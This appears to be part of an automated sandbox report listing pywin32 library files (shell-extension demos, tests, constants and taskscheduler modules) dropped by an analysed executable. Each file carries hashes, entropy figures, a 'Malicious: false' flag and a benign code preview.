Preview:	# A sample shell column provider.# Mainly ported from MSDN article:.# Using Shell Column Handlers for Detailed File Information,.# Raymond Chen, Microsoft Corporation, February 2000.#.# To demostrate:.# * Execute this script to register the namespace..# * Open Windows Explorer.# * Right-click an explorer column header - select "More".# * Locate column 'pyc size' or 'pyo size', and add it to the view..# This handler is providing that column data..import os.import stat..import commctrl.import pythoncom.from pywintypes import IID.from win32com.server.util import wrap.from win32com.shell import shell, shellcon..IPersist_Methods = ["GetClassID"].IColumnProvider_Methods = IPersist_Methods + [. "Initialize",. "GetColumnInfo",. "GetItemData",.]...class ColumnProvider:. _reg_progid_ = "Python.ShellExtension.ColumnProvider". _reg_desc_ = "Python Sample Shell Extension (Column Provider)". _reg_clsid_ = IID("{0F14101A-E05E-4070-BD54-83DFA58C3D68}"). _com_interfaces_ = [.

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\servers\context_menu.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4413
Entropy (8bit):	4.8718027906296015
Encrypted:	false
SSDEEP:	96:xJ3W+0YJbVeNDJP8hppPFFKEaMpz0EuzlC4KltWimIFGZPDQ/uXwgGR:xNW+7IV8/pOE7pzPuza6i14PDQ/uXDGR
MD5:	962A1AFF29A3354202644492184916B0
SHA1:	ACA9DA847DA3807B3014235F5EA2194EBB0E3882
SHA-256:	95AB64B6F7FE56B6FEBC1390E0436DF2373FE302727D167D281065D806A3D01C
SHA-512:	062FA321E95B29807D347EE23E77259032F45C3384D06DB2874DFF6C9D1D57D61C198841F5180070840D095538927FE20CB1BB1163520C68804E12C59CB823F4
Malicious:	false
Preview:	# A sample context menu handler..# Adds a 'Hello from Python' menu entry to .py files. When clicked, a.# simple message box is displayed..#.# To demostrate:.# * Execute this script to register the context menu..# * Open Windows Explorer, and browse to a directory with a .py file..# * Right-Click on a .py file - locate and click on 'Hello from Python' on.# the context menu...import pythoncom.import win32con.import win32gui.from win32com.shell import shell, shellcon...class ShellExtension:. _reg_progid_ = "Python.ShellExtension.ContextMenu". _reg_desc_ = "Python Sample Shell Extension (context menu)". _reg_clsid_ = "{CED0336C-C9EE-4a7f-8D7F-C660393C381F}". _com_interfaces_ = [shell.IID_IShellExtInit, shell.IID_IContextMenu]. _public_methods_ = shellcon.IContextMenu_Methods + shellcon.IShellExtInit_Methods.. def Initialize(self, folder, dataobj, hkey):. print("Init", folder, dataobj, hkey). self.dataobj = dataobj.. def QueryContextMenu(self, hMenu, in

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\servers\copy_hook.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	4.918411583843704
Encrypted:	false
SSDEEP:	48:23w21V7W2LcbHOfPZsMdaKEVsc2c6/8AKM8AKt6+LPDvI/uXwXwGE:CZVCT6Js0EVsc2ctNLPDQ/uXwgGE
MD5:	B0A82BD7CB7AA7A81C22B39572AD0869
SHA1:	CC2828A142C1AAA9B0F890F2F5F37012DF286211
SHA-256:	9A5170C42EE29B2FFBD39D529E2E1CFA22E7A5DCF4A238AB454542F905E6F2BE
SHA-512:	54D423A51AB78C8547C9C022A0DE941C9278F3BF8395AFCAD81E2461E1B6191D9C42157203A139D71C1206E5B5EA664C1D61E0082293082D54D2F0B4782A48EC
Malicious:	false
Preview:	# A sample shell copy hook...# To demostrate:.# * Execute this script to register the context menu..# * Open Windows Explorer.# * Attempt to move or copy a directory..# * Note our hook's dialog is displayed...import pythoncom.import win32con.import win32gui.from win32com.shell import shell, shellcon...# Our shell extension..class ShellExtension:. _reg_progid_ = "Python.ShellExtension.CopyHook". _reg_desc_ = "Python Sample Shell Extension (copy hook)". _reg_clsid_ = "{1845b6ba-2bbd-4197-b930-46d8651497c1}". _com_interfaces_ = [shell.IID_ICopyHook]. _public_methods_ = ["CopyCallBack"].. def CopyCallBack(self, hwnd, func, flags, srcName, srcAttr, destName, destAttr):. # This function should return:. # IDYES Allows the operation.. # IDNO Prevents the operation on this folder but continues with any other operations that have been approved (for example, a batch copy operation).. # IDCANCEL Prevents the current operation and cancels any pending op

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\servers\empty_volume_cache.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7623
Entropy (8bit):	4.620295981351384
Encrypted:	false
SSDEEP:	192:Uid7werOHLhcMP6HUcwT9r9vLDQ/SXDGR:U47OHljyHUc0m
MD5:	99C937BF8A9C575A44A8E1C958996FB8
SHA1:	198BEF472D43D41BF806EAD6C36E7D972612A86D
SHA-256:	47BAA5C72278AE161532D3F9D0EF7B41F1878E705BA366FA76B8751C0CAF4401
SHA-512:	2FFE7892CFA233C5CC63073B7EC466718C115826220C5A86729685FE0E852517AC1DD1A374F49915CD864BE2CFFCC62F48537118D92905D3F0E9AF7BD9814938
Malicious:	false
Preview:	# A sample implementation of IEmptyVolumeCache - see.# http://msdn2.microsoft.com/en-us/library/aa969271.aspx for an overview..#.# * Execute this script to register the handler.# * Start the "disk cleanup" tool - look for "pywin32 compiled files".import os.import stat.import sys..import pythoncom.import win32gui.import winerror.from win32com.server.exception import COMException.from win32com.shell import shell, shellcon..# Our shell extension..IEmptyVolumeCache_Methods = (. "Initialize GetSpaceUsed Purge ShowProperties Deactivate".split().).IEmptyVolumeCache2_Methods = "InitializeEx".split()..ico = os.path.join(sys.prefix, "py.ico").if not os.path.isfile(ico):. ico = os.path.join(sys.prefix, "PC", "py.ico").if not os.path.isfile(ico):. ico = None. print("Can't find python.ico - no icon will be installed")...class EmptyVolumeCache:. _reg_progid_ = "Python.ShellExtension.EmptyVolumeCache". _reg_desc_ = "Python Sample Shell Extension (disk cleanup)". _reg_clsid_ = "{E

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\servers\folder_view.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	29247
Entropy (8bit):	4.938884861532685
Encrypted:	false
SSDEEP:	384:9/LNWrPPPcqJWEyGdnY3T4g83LE+i3S0SzMp1DzQzNc2JY2IoeYaV8DRdOXHgcfX:9/LNWrPvWIYEspEJnDegcf9FxTVT
MD5:	0E71355BB9312A57448321D14BF6A53A
SHA1:	BE142CBF9C2026CD65B869C67FB9E00DBFE44D60
SHA-256:	7505ACB133C8815E2654024CA06034269EAE8932B8DC4F958658763BE9A6A715
SHA-512:	DADBA748D6B65E8C339EADD94BFFCCB346DBE8164AC28493856E65CD94E19BCD250C8105BB8BAFBED5235EDBF4D6E86076B155C9E42B02D8FE6303326BCA6CC1
Malicious:	false
Preview:	# This is a port of the Vista SDK "FolderView" sample, and associated.# notes at http://shellrevealed.com/blogs/shellblog/archive/2007/03/15/Shell-Namespace-Extension_3A00_-Creating-and-Using-the-System-Folder-View-Object.aspx.# A key difference to shell_view.py is that this version uses the default.# IShellView provided by the shell (via SHCreateShellFolderView) rather.# than our own..# XXX - sadly, it doesn't work quite like the original sample. Oh well,.# another day....import os.import pickle.import random.import sys..import commctrl.import pythoncom.import win32api.import win32con.import winerror.import winxpgui as win32gui # the needs vista, let alone xp!.from win32com.axcontrol import axcontrol # IObjectWithSite.from win32com.propsys import propsys.from win32com.server.exception import COMException.from win32com.server.util import NewEnum as _NewEnum, wrap as _wrap.from win32com.shell import shell, shellcon.from win32com.util import IIDToInterfaceName..GUID = pythoncom.MakeII

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\servers\icon_handler.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2550
Entropy (8bit):	4.94557116783642
Encrypted:	false
SSDEEP:	48:c/h/XT3050g11VjKc2Kcbis2CyvUV46hfKTt6XPDvI/uXwXwGR:cVXj050g11V2cqeN3vUV4qyJ4PDQ/uXg
MD5:	1CECD9EEC5CEC1055C24FFC54DFC5328
SHA1:	111E67D9EB7A37224EFA5FB38A0744AB25184C9F
SHA-256:	8D581DD890F7B32A507C71F73629C1ABF19D96A41BF1124354BCC32F958159B3
SHA-512:	2EDAFBCCA344D037D6FCBBB53F3C35EE0A7688F52CB7BE091739B983CC4106BA9864AA3FD3807C33E817C35594B33F6D051A8186A7F53CACF64F1ED6D8B9E5AE
Malicious:	false
Preview:	# A sample icon handler. Sets the icon for Python files to a random.# ICO file. ICO files are found in the Python directory - generally there will.# be 3 icons found..#.# To demostrate:.# * Execute this script to register the context menu..# * Open Windows Explorer, and browse to a directory with a .py file..# * Note the pretty, random selection of icons!.# Use glob to locate ico files, and random.choice to pick one..import glob.import os.import random.import sys..import pythoncom.import win32gui.import winerror.from win32com.shell import shell, shellcon..ico_files = glob.glob(os.path.join(sys.prefix, ".ico")).if not ico_files:. ico_files = glob.glob(os.path.join(sys.prefix, "PC", ".ico")).if not ico_files:. print("WARNING: Can't find any icon files")..# Our shell extension..IExtractIcon_Methods = "Extract GetIconLocation".split().IPersistFile_Methods = "IsDirty Load Save SaveCompleted GetCurFile".split()...class ShellExtension:. _reg_progid_ = "Python.ShellExtension.IconH

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\servers\shell_view.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	37215
Entropy (8bit):	4.690608193285492
Encrypted:	false
SSDEEP:	384:r+nnu3b7vrZjIxedwJrb0cjKdkzi3FIV6g/HSBo+OVFnnMStl:r+nu3XaxedArYcjKdkzRD/Heo+Ottl
MD5:	697E8D44C0EE4041BC79C33A17B228AA
SHA1:	D2541E30F9FC436C6AFB07F3883517726248F153
SHA-256:	A9DA5A6CCA9AAC3D03152A3D5B6330194921681960B7502CF96E84B1A323BC97
SHA-512:	99B986AB15DAF751D90E7469D57631147DAF2DA8973442E094855B797394D59C0E2A031FAB6FA5EEA8A00701E104CF47E7AE3F8DF0FA8EC49F1573E7966794BB
Malicious:	false
Preview:	# A sample shell namespace view..# To demostrate:.# * Execute this script to register the namespace..# * Open Windows Explorer, and locate the new "Python Path Shell Browser".# folder off "My Computer".# * Browse this tree - .py files are shown expandable, with classes and.# methods selectable. Selecting a Python file, or a class/method, will.# display the file using Scintilla..# Known problems:.# * Classes and methods don't have icons - this is a demo, so we keep it small.# See icon_handler.py for examples of how to work with icons..#.#.# Notes on PIDLs.# PIDLS are complicated, but fairly well documented in MSDN. If you need to.# do much with these shell extensions, you must understand their concept..# Here is a short-course, as it applies to this sample:.# A PIDL identifies an item, much in the same way that a filename does.# (however, the shell is not limited to displaying "files")..# An "ItemID" is a single string, each being an item in the hierarchy..# A "PIDL" is a list

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\shellexecuteex.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	470
Entropy (8bit):	4.979151668013883
Encrypted:	false
SSDEEP:	12:4Lm4hhIVQhxqQPGfDwbymXNB2kd6ChoBJ9o6wi1Ta+EfZ2plPPv:v8IVw2ayqZdJyBJ9oSfEoplf
MD5:	E847821591C91355F1ABCAD2BC14ED89
SHA1:	A01B49F131FA10A07D8C48B2E298CBE7D6022BA2
SHA-256:	5A1AC89AD95E161C7E4DFC3A9A3A5C6F8B9E00478998B9FB2583C01ADF262763
SHA-512:	90DC99086B780C371837EC78232B57530E27301B4270296F99A6FE33199C1C532B1E0D67F6EF7FC99344AB6F3DA2817E48A789A41D33E871C60C51D071FC5601
Malicious:	false
Preview:	import win32con.from win32com.shell import shell, shellcon...def ExplorePIDL():. pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP). print("The desktop is at", shell.SHGetPathFromIDList(pidl)). shell.ShellExecuteEx(. fMask=shellcon.SEE_MASK_NOCLOSEPROCESS,. nShow=win32con.SW_NORMAL,. lpClass="folder",. lpVerb="explore",. lpIDList=pidl,. ). print("Done!")...if __name__ == "__main__":. ExplorePIDL().

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\viewstate.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	4.559422897162152
Encrypted:	false
SSDEEP:	48:krswmghjVif3aeg3GxMLniuIQSERu7YB06QKUenpB/vm7tLnWIQSKnGCPcV:CmghjVif3dxMLn/8s5QKUo/vm5LnwqCC
MD5:	5E1EA5F5941BDC53352F26ED5C5ABDC1
SHA1:	F0B88CCA4B5962FFBD1F768181BC1EF1910FC3C1
SHA-256:	14006951D85CA90B277C1FFB763BE3FA736641FD9864A6E619900A471AC130CE
SHA-512:	9A79C0AD4134337F4519C140C7404596784FC8427442C0777216F8EEC4109BB248B2F3AC2FD1E9F5163B2F9FF7AE412258BDAE32A7E478C92CB8E338761B0440
Malicious:	false
Preview:	""".Demonstrates how to propagate a folder's view state to all its subfolders.The format of the ColInfo stream is apparently undocumented, but.it can be read raw from one folder and copied to another's view state.."""..import os.import sys..import pythoncom.from win32com.shell import shell, shellcon..template_folder = os.path.split(sys.executable)[0].print("Template folder:", template_folder).template_pidl = shell.SHILCreateFromPath(template_folder, 0)[0].template_pb = shell.SHGetViewStatePropertyBag(. template_pidl,. "Shell",. shellcon.SHGVSPB_FOLDERNODEFAULTS,. pythoncom.IID_IPropertyBag,.)..# Column info has to be read as a stream.# This may blow up if folder has never been opened in Explorer and has no ColInfo yet.template_iunk = template_pb.Read("ColInfo", pythoncom.VT_UNKNOWN).template_stream = template_iunk.QueryInterface(pythoncom.IID_IStream).streamsize = template_stream.Stat()[2].template_colinfo = template_stream.Read(streamsize)...def update_colinfo(not_used, di

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\walk_shell_folders.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	669
Entropy (8bit):	4.4561315141191296
Encrypted:	false
SSDEEP:	12:kIj2QpxXhhIVQhxrtKlw+JwLHZhTMBuLFCERTJqllGL8gJ2IT2WVtppbj:kk1IVw5KYLvguLFPRQGLx4+vbZj
MD5:	4391682FCB87F8669A3B9141B42681DF
SHA1:	C368535BF2989C4734E885F1070F67D0A3F3700E
SHA-256:	617503784C0BF008A40515717BEFD8823A6C3D686D002EDD3167352EDDDF9D3B
SHA-512:	C654B53FE020A44C66F2571085E5C2A5FB7A5153174BDBF4385927CD76C1AD25CEE6B52F7D868607A4613F2FAC767E44C1FD2AC4C3718EC49377F891E8A6003A
Malicious:	false
Preview:	# A little sample that walks from the desktop into child.# items..from win32com.shell import shell, shellcon...def walk(folder, depth=2, indent=""):. try:. pidls = folder.EnumObjects(0, shellcon.SHCONTF_FOLDERS). except shell.error:. # no items. return. for pidl in pidls:. dn = folder.GetDisplayNameOf(pidl, shellcon.SHGDN_NORMAL). print(indent, dn). if depth:. try:. child = folder.BindToObject(pidl, None, shell.IID_IShellFolder). except shell.error:. pass. else:. walk(child, depth - 1, indent + " ")...walk(shell.SHGetDesktopFolder()).

C:\recover\pw\Lib\site-packages\win32comext\shell\shell.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	407552
Entropy (8bit):	6.703998786147557
Encrypted:	false
SSDEEP:	6144:BVYMO0FDXfNr9YIZdJ5dgUV/6lRjiZPUDGr/ti/Ah:Rp97JaI
MD5:	57A6C3C480A7B994DB367739652CD37C
SHA1:	6B776244197E13609D02704576FA693A808D651E
SHA-256:	909AAE7180329F4297111D29966CA6C73C0354540BE62D68B00072712508210D
SHA-512:	D043F1760027544A8319693121AE46F93383AE051ABD1C556779223EBB4014ED40553E69272F50C1A45CB39E5DB7A20C84D37FD4025FCC7F21DDD841CE5CFC49
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W...............................................s............................."......................Rich...........PE..L......d...........!................Xl....................................................@..........................W..L....W..........L...........................D...T...............................@............................................text...{........................... ..`.rdata..............................@..@.data... o.......8...h..............@....rsrc...L...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\shell\shellcon.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	49361
Entropy (8bit):	5.4774347642005035
Encrypted:	false
SSDEEP:	768:rWkQM9PBIng17jfIxmtcOfby7OCKO9rqLCGYNTLa/mo2j95z9BPvVdDV+aiVrBrn:rRvHQ2BtbiOCO4PvD0aiVrxtolEtf
MD5:	D91E3C8D5BA6BEFA1E32B8854681545A
SHA1:	1FE0190385E16A9A8CD5F26C0AE45CECC09E3D23
SHA-256:	21E5294BCF830F00B4FAB35E3BB0AC65040979A17EC0DDD7E71830FA6BA4A151
SHA-512:	E5FFA245D8096A1D070B2FBEEED7D354A476070CD1A0A15ED382B899E9CB2EA59A6E00836ECE568C060386EE53E533775031F9AC5767A59EC2CF5826E1F3999E
Malicious:	false
Preview:	# Generated by h2py from \mssdk\include\shlobj.h and shellapi.h.WM_USER = 1024.DROPEFFECT_NONE = 0.DROPEFFECT_COPY = 1.DROPEFFECT_MOVE = 2.DROPEFFECT_LINK = 4.DROPEFFECT_SCROLL = -2147483648..FO_MOVE = 1.FO_COPY = 2.FO_DELETE = 3.FO_RENAME = 4..## File operation flags used with shell.SHFileOperation.FOF_MULTIDESTFILES = 1.FOF_CONFIRMMOUSE = 2.FOF_SILENT = 4.FOF_RENAMEONCOLLISION = 8.FOF_NOCONFIRMATION = 16.FOF_WANTMAPPINGHANDLE = 32.FOF_ALLOWUNDO = 64.FOF_FILESONLY = 128.FOF_SIMPLEPROGRESS = 256.FOF_NOCONFIRMMKDIR = 512.FOF_NOERRORUI = 1024.FOF_NOCOPYSECURITYATTRIBS = 2048.FOF_NORECURSION = 4096.FOF_NO_CONNECTED_ELEMENTS = 8192.FOF_WANTNUKEWARNING = 16384.FOF_NORECURSEREPARSE = 32768.FOF_NO_UI = FOF_SILENT \| FOF_NOCONFIRMATION \| FOF_NOERRORUI \| FOF_NOCONFIRMMKDIR..## Extended file operation flags, used with IFileOperation.FOFX_NOSKIPJUNCTIONS = 0x00010000.FOFX_PREFERHARDLINK = 0x00020000.FOFX_SHOWELEVATIONPROMPT = 0x00040000.FOFX_EARLYFAILURE = 0x00100000.FOFX_PRESERVEFILEEXTENSIONS =

C:\recover\pw\Lib\site-packages\win32comext\shell\test\testSHFileOperation.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2092
Entropy (8bit):	4.672051600836994
Encrypted:	false
SSDEEP:	48:oVvqtFCv3PFuJv3Ny5sbEYO3FCv3PY3cJ7CgEfpPeJX:oV8Cv3PFokgqCv3PY37gEVC
MD5:	860B68CEEFE01EBF3172AC16EAFEBC8B
SHA1:	5E39F0FF2A62C3F05C7DB20D4B4D269B720E9D1E
SHA-256:	E76D257B02B747C6C36EC85EC4B7BF086895BA4FF90C366716E2C0462291082B
SHA-512:	6A1C0A5E8324AAF1796C3B3F4E5DB5FD1B82B8FAEC60229377D60E0296BC2C3A56E5BDDD733C202D3FA769B55E79BB929909EF47418EDC06DE975546DE9D5EDF
Malicious:	false
Preview:	import os..import win32api.from win32com.shell import shell, shellcon...def testSHFileOperation(file_cnt):. temp_dir = os.environ["temp"]. orig_fnames = [. win32api.GetTempFileName(temp_dir, "sfo")[0] for x in range(file_cnt). ]. new_fnames = [. os.path.join(temp_dir, "copy of " + os.path.split(orig_fnames[x])[1]). for x in range(file_cnt). ].. pFrom = "\0".join(orig_fnames). pTo = "\0".join(new_fnames).. shell.SHFileOperation(. (. 0,. shellcon.FO_MOVE,. pFrom,. pTo,. shellcon.FOF_MULTIDESTFILES \| shellcon.FOF_NOCONFIRMATION,. ). ). for fname in orig_fnames:. assert not os.path.isfile(fname).. for fname in new_fnames:. assert os.path.isfile(fname). shell.SHFileOperation(. (. 0,. shellcon.FO_DELETE,. fname,. None,. shellcon.FOF_NOCONFIRMATION \| shellcon.FOF_NOE

C:\recover\pw\Lib\site-packages\win32comext\shell\test\testShellFolder.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	582
Entropy (8bit):	5.0916106849298854
Encrypted:	false
SSDEEP:	12:1KhhIVQhT4hPcnbwTmPmDJDw+Q1oB2CY62dpT4r5pq5zKq5lIjWEvSalX9vhSRL4:16IVkbUmudDwfo4T6UxJjTab5SZxq
MD5:	9C32B68A70FFACC40DC0B035437EC4F5
SHA1:	35693171E5D23088E042735AA5FEC02F57365295
SHA-256:	D9516D3471E7EB9FBD3B5DC921FB9711AA2ED16C8EC1BB0BFC973D024C8A2649
SHA-512:	92B01330F1DAD4CA5E3DCA62013F817A2C139ADE275052CEFD6DB5A4CAFAF59374219A9567A0521715B081F0BE02091D84A0E42B8720AEAE4F67477B9D33BA5E
Malicious:	false
Preview:	from win32com.shell import shell.from win32com.shell.shellcon import *..sf = shell.SHGetDesktopFolder().print("Shell Folder is", sf)..names = [].for i in sf: # Magically calls EnumObjects. name = sf.GetDisplayNameOf(i, SHGDN_NORMAL). names.append(name)..# And get the enumerator manually.enum = sf.EnumObjects(0, SHCONTF_FOLDERS \| SHCONTF_NONFOLDERS \| SHCONTF_INCLUDEHIDDEN).num = 0.for i in enum:. num += 1.if num != len(names):. print("Should have got the same number of names!?").print("Found", len(names), "items on the desktop").for name in names:. print(name).

C:\recover\pw\Lib\site-packages\win32comext\shell\test\testShellItem.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2891
Entropy (8bit):	4.819588436655301
Encrypted:	false
SSDEEP:	24:QTdLIVUWsF6TI8V/I8VwayLWnq7cAN2nV4ah0NwFn0L9I8TKay7W0ng441GpL9N/:K8VjsF4lRlZyEAR2+l1yIBCTemJy3fS
MD5:	D038D3E80DA35B8BFB6E0260AAE3EA65
SHA1:	9B11D9E41F1D2AFADA8FDAA442495F24C76E07CA
SHA-256:	F3B9315D2A7593F318E80DB2D26A9EA34BD740F1DD0B0B2BE636F87DDCF1E7A4
SHA-512:	0FFC7D1CA7A4E578B7BFAE801A21309F5B1474C8450FBFED193D9720DAD5DD441C3F35E7BB0D04377FF2F0AA08DCF58BE0E4288743F2ED559F7C661EA7152D41
Malicious:	false
Preview:	# Test IShellItem and related interfaces.import unittest..from win32com.shell import knownfolders, shell, shellcon...class TestShellItem(unittest.TestCase):. def assertShellItemsEqual(self, i1, i2):. n1 = i1.GetDisplayName(shellcon.SHGDN_FORPARSING). n2 = i2.GetDisplayName(shellcon.SHGDN_FORPARSING). self.assertEqual(n1, n2).. def test_idlist_roundtrip(self):. pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP). item = shell.SHCreateItemFromIDList(pidl, shell.IID_IShellItem). pidl_back = shell.SHGetIDListFromObject(item). self.assertEqual(pidl, pidl_back).. def test_parsing_name(self):. sf = shell.SHGetDesktopFolder(). flags = shellcon.SHCONTF_FOLDERS \| shellcon.SHCONTF_NONFOLDERS. children = sf.EnumObjects(0, flags). child_pidl = next(children). name = sf.GetDisplayNameOf(child_pidl, shellcon.SHGDN_FORPARSING).. item = shell.SHCreateItemFromParsingName(name, None, shell.I

C:\recover\pw\Lib\site-packages\win32comext\taskscheduler\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	192
Entropy (8bit):	4.73288878491099
Encrypted:	false
SSDEEP:	3:SbFVEbW2llQkEr66FuxAAyWX7myhAgMXFPJoFcAtUIVKzLHKFaWlQkEr66NRS66u:SbFubDlQkDAAyWrNhS5WmKVsLHKkWlQp
MD5:	3D90A8BDF51DE0D7FAE66FC1389E2B45
SHA1:	B1D30B405F4F6FCE37727C9EC19590B42DE172EE
SHA-256:	7D1A6FE54DC90C23B0F60A0F0B3F9D5CAE9AC1AFECB9D6578F75B501CDE59508
SHA-512:	BD4EA236807A3C128C1EC228A19F75A0A6EF2B29603C571EE5D578847B20B395FEC219855D66A409B5057B5612E924EDCD5983986BEF531F1309ABA2FE7F0636
Malicious:	false
Preview:	# This is a python package.# __PackageSupportBuildPath__ not needed for distutil based builds,.# but not everyone is there yet..import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\recover\pw\Lib\site-packages\win32comext\taskscheduler\taskscheduler.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	6.209295804436407
Encrypted:	false
SSDEEP:	768:swC2/RCOlDHjjRstec837jzH5hSXJMGmsI77Q:tFt/itecmHLmWGmn77Q
MD5:	57BDBDA66860FD7D36C6FBB55A9A37A5
SHA1:	A9EC10549864C9B94CED55CB7E1FCA01BEF53758
SHA-256:	FF483CC27CE94EE7BFC17256888E2BF6EF6951CBACEC28EB31AE8529C61E0F27
SHA-512:	B3241E06A4CCB8E7AA74373CECC106635A8E5750A89146E105DAE34B4C437BC8254AA4AC3DEA1F823A8EED8E222E8F1DD91B42B29E3A8118FB1256D624929F4B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........%...Dw..Dw..Dw..<..Dw..1v..Dw..1r..Dw..1s..Dw..1t..Dw.{-v..Dw..1v..Dw../v..Dw..Dv..Dw../p..Dw..1~..Dw..1w..Dw..1u..Dw.Rich.Dw.........PE..L......d...........!.....J...J......9J.......`............................................@.............................p...............l............................y..T...........................Xy..@............`...............................text....I.......J.................. ..`.rdata...1...`...2...N..............@..@.data...............................@....rsrc...l...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\taskscheduler\test\test_addtask.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2212
Entropy (8bit):	5.260377440140583
Encrypted:	false
SSDEEP:	48:ZGXN+o5dmgEIDuOHcmCoKda+gj9Hpppg8UZV1S0zmIQ6:ZG9r5dmgFDuO8mCfI+gRJppgzo0E6
MD5:	679BFEFC3ED4A729A42B80D0281C5501
SHA1:	6C27A02D21C8C28378AAA4E0F376C53BE6054637
SHA-256:	1928FE18B0131BC8930E2D751952CB446F8E20A8DD3FC5118BF4848784452F2B
SHA-512:	7B844350AC794D4DB83A719BF83DC12A355A0731A693037D82A0CC7133BD3C531B679BE9D76C20AB157D3CC2D1A5CEB85730856B2E7DE4C54AF25A1265B883E3
Malicious:	false
Preview:	import os.import sys.import time..import pythoncom.import win32api.from win32com.taskscheduler import taskscheduler..task_name = "test_addtask.job".ts = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTaskScheduler,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITaskScheduler,.).tasks = ts.Enum().for task in tasks:. print(task).if task_name in tasks:. print("Deleting existing task " + task_name). ts.Delete(task_name)..t = ts.NewWorkItem(task_name).t.SetComment("rude comments").t.SetApplicationName(sys.executable).t.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS).t.SetParameters(. "-c\"import win32ui,time;win32ui.MessageBox('hey bubba I am running');\"".).t.SetWorkingDirectory(os.path.dirname(sys.executable)).t.SetCreator("test_addtask.py").t.SetMaxRunTime(20000) # milliseconds.t.SetFlags(. taskscheduler.TASK_FLAG_INTERACTIVE \| taskscheduler.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON.).## \|taskscheduler.TASK_FLAG_DELETE_WHEN_DONE) #task

C:\recover\pw\Lib\site-packages\win32comext\taskscheduler\test\test_addtask_1.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2154
Entropy (8bit):	5.225976928607513
Encrypted:	false
SSDEEP:	48:fkN+Qpd4chN+0kOHOQ9M+gmIDn9oK65YN00OB2IQ6:fQRpd4cTQOd++g/Dn9fUQ00OBQ6
MD5:	023725FB08327B0F93297B41A9864D52
SHA1:	6F940064603449C018FFEA45DB3C58A4EAE996B2
SHA-256:	56555B38692A77E58FB1824A225B45E4FEBC68E018DE8CAF9D77EFF84413A746
SHA-512:	45C92B1D846E706FF85C18203CC7D75162E2CFCF93287ADF62FE23726084D07D2CF6F4B8EE3FBC4ED296A6A8E7B36C7364EF5DE16C7C6684C6486B2011473506
Malicious:	false
Preview:	import time..import pythoncom.import win32api.from win32com.taskscheduler import taskscheduler..test_task_name = "test_addtask_1.job"..ts = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTaskScheduler,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITaskScheduler,.)..tasks = ts.Enum().for task in tasks:. print(task).if test_task_name in tasks:. print("Deleting existing task " + test_task_name). ts.Delete(test_task_name)..new_task = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTask,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITask,.).ts.AddWorkItem(test_task_name, new_task) ## task object is modified in place..new_task.SetFlags(. taskscheduler.TASK_FLAG_INTERACTIVE \| taskscheduler.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON.).new_task.SetIdleWait(1, 10000).new_task.SetComment("test task with idle 